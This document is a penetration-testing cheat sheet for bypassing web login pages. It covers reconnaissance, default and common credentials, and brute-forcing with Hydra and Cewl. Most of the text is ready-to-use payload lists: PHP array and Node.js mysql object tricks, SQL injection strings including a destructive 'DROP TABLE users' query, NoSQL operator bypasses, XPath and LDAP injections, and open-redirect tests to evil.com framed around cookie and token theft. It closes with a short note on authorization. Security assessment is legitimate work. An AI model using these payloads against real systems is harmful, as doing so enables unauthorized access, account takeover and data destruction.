Login Bypass

Login Bypass Testing

A systematic approach to testing and bypassing web login mechanisms during security assessments.

Initial Reconnaissance

When you encounter a login page, perform these checks first:

1. Inspect Page Comments

• Scroll to the bottom and right of the page
• View page source for hidden comments
• Look for developer notes, credentials, or debug information
• Check for commented-out code that might reveal logic

2. Direct Access Testing

• Try accessing restricted pages directly without authentication
• Check common paths: /admin, /dashboard, /profile, /account
• Modify URL parameters to skip authentication checks
• Test if session cookies can be forged or omitted

3. Parameter Manipulation

• Submit the form without any parameters
• Submit with only one parameter (username OR password)
• Try empty values for both fields
• Test with null bytes: username=admin%00&password=test%00

Language-Specific Exploits

PHP Comparison Errors

PHP's loose comparison can be exploited with array parameters:

user[]=a&pwd=b
user=a&pwd[]=b
user[]=a&pwd[]=b

These payloads can cause PHP to compare arrays to strings, potentially bypassing authentication.

Content-Type Manipulation

Change to JSON:

• Set Content-Type: application/json
• Send credentials as JSON: {"username": "admin", "password": "test"}
• Try boolean values: {"username": "admin", "password": true}

JSON in GET Request:

• If POST is blocked, try GET with JSON body
• Set Content-Type: application/json on GET request
• Send JSON payload in request body

Node.js Parsing Errors

Node.js mysql libraries can have parsing vulnerabilities:

Array syntax:

password[password]=1

JSON syntax:

{"password": {"password": 1}}

Important: You still need to provide a valid username. The payload transforms to a query where the password condition is always true.

Mitigation: Adding "stringifyObjects": true to mysql.createConnection blocks this.

Credential Testing

Default Credentials

Check default credentials for the technology/platform:

• Apache: admin/admin, admin/password
• Tomcat: tomcat/tomcat, admin/admin
• WordPress: admin/admin, admin/password
• Joomla: administrator/administrator
• Drupal: admin/drupal
• Check vendor documentation for device defaults

Common Combinations

Test these username/password pairs:

• root / root, root / password, root / admin
• admin / admin, admin / password, admin / 123456
• administrator / administrator, administrator / password
• test / test, user / user, demo / demo
• Use the technology name as both username and password

Dictionary Attacks

1. Use Cewl to create a custom dictionary from the target site
2. Add default usernames and passwords to the dictionary
3. Brute-force using all words as both usernames and passwords
4. Consider using Hydra, Burp Intruder, or OWASP ZAP

Injection-Based Bypasses

SQL Injection Authentication Bypass

Common SQL injection payloads for login bypass:

Classic OR-based:

' OR '1'='1
' OR '1'='1' --
' OR '1'='1' #
admin'--
admin'/*
'' OR '1'='1
' OR 1=1 --
' OR ''='

UNION-based:

' UNION SELECT 1,2--
' UNION SELECT NULL,NULL--

Time-based (blind):

' OR SLEEP(5)--
' OR WAITFOR DELAY '0:0:5'--

Stacked queries:

'; DROP TABLE users--
'; SELECT * FROM users--

NoSQL Injection Authentication Bypass

MongoDB and other NoSQL databases can be bypassed with JSON operators:

Basic bypass:

{"username": {"$ne": null}, "password": {"$ne": null}}

Comparison operators:

{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$exists": true}, "password": {"$exists": true}}

Regex bypass:

{"username": {"$regex": ""}, "password": {"$regex": ""}}

$where operator:

{"$where": "true"}

XPath Injection Authentication Bypass

XPath injection payloads for login bypass:

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP Injection Authentication Bypass

LDAP injection payloads:

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

Remember Me Functionality

If the page has "Remember Me" functionality:

1. Check cookie implementation:

   • Is the cookie encrypted or hashed?
   • Can you predict or forge tokens?
   • Are tokens tied to specific user accounts?

2. Test for account takeover:

   • Try using another user's remember me token
   • Check if tokens are predictable or sequential
   • Test if you can swap tokens between accounts

3. Check token storage:

   • Are tokens stored in database?
   • Can you enumerate valid tokens?
   • Is there token rotation on login?

Open Redirect Testing

After login, pages often redirect users. Test for open redirects:

1. Find the redirect parameter:

   • Look for ?redirect=, ?return=, ?next=, ?url=
   • Check POST parameters for redirect URLs

2. Test redirect manipulation:

   • Change redirect to your controlled domain
   • Try: ?redirect=http://your-evil-site.com
   • Test with //evil.com (protocol-relative)
   • Try \evil.com (backslash bypass)

3. Potential impact:

   • Phishing attacks
   • Cookie theft
   • OAuth token theft
   • Session hijacking

Additional Checks

Username Enumeration

• Check error messages for "user not found" vs "wrong password"
• Test timing differences between valid/invalid usernames
• Look for different response sizes or headers
• Check if account creation reveals valid usernames

Auto-Complete Testing

• Check if password forms have autocomplete="off"
• Test if browser auto-fills credentials
• Look for autocomplete="on" or missing attribute
• Check for autocomplete on sensitive fields

Automatic Tools

HTLogin

• Tool: HTLogin
• Purpose: Automated login bypass testing
• Usage: Scan login forms for common bypass techniques

Other Tools

• Burp Suite: Intruder for brute-force, Repeater for manual testing
• OWASP ZAP: Automated scanning and manual testing
• Hydra: Brute-force attacks on various protocols
• Medusa: Parallel login brute-forcer

Testing Workflow

1. Reconnaissance: Inspect page, check comments, view source
2. Direct Access: Try accessing protected resources without auth
3. Parameter Testing: Manipulate form parameters
4. Injection Testing: Try SQL, NoSQL, XPath, LDAP injections
5. Credential Testing: Default creds, common combinations, brute-force
6. Functionality Testing: Remember me, redirects, enumeration
7. Tool-Assisted: Use automated tools for comprehensive testing

Documentation

Document all findings:

• Which techniques worked
• Payloads that succeeded
• Impact of each bypass
• Remediation recommendations
• Evidence (screenshots, logs)

Legal Considerations

• Only test systems you have authorization to test
• Document authorization before testing
• Follow responsible disclosure if finding vulnerabilities
• Respect scope and rules of engagement